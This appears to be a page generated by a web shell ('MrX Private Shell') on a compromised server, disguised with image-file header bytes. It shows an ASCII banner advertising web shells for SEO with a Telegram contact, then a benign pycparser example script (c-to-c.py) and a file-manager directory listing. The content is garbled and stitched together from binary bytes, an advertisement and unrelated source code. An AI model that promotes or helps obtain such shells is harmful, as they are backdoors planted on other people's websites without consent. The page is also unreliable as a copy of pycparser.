����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#------------------------------------------------------------------------------
# pycparser: c-to-c.py
#
# Example of using pycparser.c_generator, serving as a simplistic translator
# from C to AST and back to C.
#
# Eli Bendersky [https://eli.thegreenplace.net/]
# License: BSD
#------------------------------------------------------------------------------
from __future__ import print_function
import sys
from pycparser import parse_file, c_parser, c_generator
def translate_to_c(filename):
""" Simply use the c_generator module to emit a parsed AST.
"""
ast = parse_file(filename, use_cpp=True)
generator = c_generator.CGenerator()
print(generator.visit(ast))
def _zz_test_translate():
# internal use
src = r'''
void f(char * restrict joe){}
int main(void)
{
unsigned int long k = 4;
int p = - - k;
return 0;
}
'''
parser = c_parser.CParser()
ast = parser.parse(src)
ast.show()
generator = c_generator.CGenerator()
print(generator.visit(ast))
# tracing the generator for debugging
#~ import trace
#~ tr = trace.Trace(countcallers=1)
#~ tr.runfunc(generator.visit, ast)
#~ tr.results().write_results()
#------------------------------------------------------------------------------
if __name__ == "__main__":
#_zz_test_translate()
if len(sys.argv) > 1:
translate_to_c(sys.argv[1])
else:
print("Please provide a filename as argument")
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| c_files | Folder | 0755 |
|
|
| README.rst | File | 393 B | 0644 |
|
| c-to-c.py | File | 1.43 KB | 0644 |
|
| c_json.py | File | 6.13 KB | 0644 |
|
| cdecl.py | File | 6.16 KB | 0644 |
|
| dump_ast.py | File | 799 B | 0644 |
|
| explore_ast.py | File | 5.25 KB | 0644 |
|
| func_calls.py | File | 1.2 KB | 0644 |
|
| func_defs.py | File | 1.19 KB | 0644 |
|
| rewrite_ast.py | File | 612 B | 0644 |
|
| serialize_ast.py | File | 907 B | 0644 |
|
| using_cpp_libc.py | File | 746 B | 0644 |
|
| using_gcc_E_libc.py | File | 804 B | 0644 |
|